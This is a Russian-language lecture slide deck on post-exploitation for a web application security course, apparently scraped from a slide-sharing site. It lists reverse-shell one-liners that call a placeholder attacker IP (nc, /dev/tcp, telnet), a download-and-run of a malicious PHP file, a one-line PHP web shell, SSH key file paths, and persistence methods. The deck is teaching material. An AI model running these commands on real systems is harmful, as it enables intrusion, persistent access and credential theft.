13
Безопасность интернет -приложений Лекция 7 «Пост -эксплуатация»

Безопасность весна 2014 лекция 7

Embed Size (px)

Citation preview

Page 1: Безопасность весна 2014 лекция 7

Безопасность интернет-приложений

Лекция 7 «Пост-эксплуатация»

Page 2: Безопасность весна 2014 лекция 7

Жизнь после марса

2

- доступ на выполнение .- данные: хранение.- данные: перехват.- перманентный доступ.

Page 3: Безопасность весна 2014 лекция 7

Места раскопок

3

- конфигурация.- исходники.- доступы к окружению.- db.

Page 4: Безопасность весна 2014 лекция 7

Конфигурация

4

/etc/passwd

/etc/hosts hosts.allow hosts.deny

webserver: httpd.conf .htaccess passwd

webapp configs

Page 5: Безопасность весна 2014 лекция 7

Окружение

5

NFS:.showmount –e target.mount –o nolock –t nfs target:/path /local

rsync:.rsync rsync://target/

ftp:.ftp target

samba:.smbclient –L target .smbclient \\target\share <password>

http:.wget, curl, lynx, etc

netstat –anp|grep ESTABLISHED

Page 6: Безопасность весна 2014 лекция 7

DB

6

mysqldump.mysql –uroot –S /tmp/mysql.sock

Page 7: Безопасность весна 2014 лекция 7

доступ на выполнение

7

while ( true ); do read cmd; wget –O – http://target/vuln?$cmd; done

web-уязвимость, простейший случай:

Page 8: Безопасность весна 2014 лекция 7

доступ на выполнение

8

nc <attacker_ip> <port> -e /bin/bash

mknod backpipe p; nc <attacker_ip> <port> 0<backpipe |. /bin/bash 1>backpipe

/bin/bash -i > /dev/tcp/<attacker_ip>/<port> 0<&1 2>&1

mknod backpipe p; telnet <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe

wget -O /tmp/bd.php <url_to_malicious_file> && php -f /tmp/bd.php

telnet <attacker_ip> <1st_port> | /bin/bash | telnet <attacker_ip> <2nd_port>

Page 9: Безопасность весна 2014 лекция 7

Данные: перехват

9

- keyloggers.- patched ssh, patched pam-module.- tcpdump.- patched web

Page 10: Безопасность весна 2014 лекция 7

Перманентный доступ

10

- системный бэкдор.- аутентификационные данные.- web-бэкдор.- etc

Page 11: Безопасность весна 2014 лекция 7

Auth

11

ssh –i privkey user@target

/home/user/.ssh/id.dsa./home/user/.ssh/id.rsa

Page 12: Безопасность весна 2014 лекция 7

backdoor

12

- process.- cronjob.- patched binary.- kernel module

Page 13: Безопасность весна 2014 лекция 7

web

13

<?php passthru($_REQUEST['c']) ?>

....my @cmd = `$req`;.foreach my $line (@cmd) {. print $line . "<br/>";.}....

AddType application/x-httpd-php .txt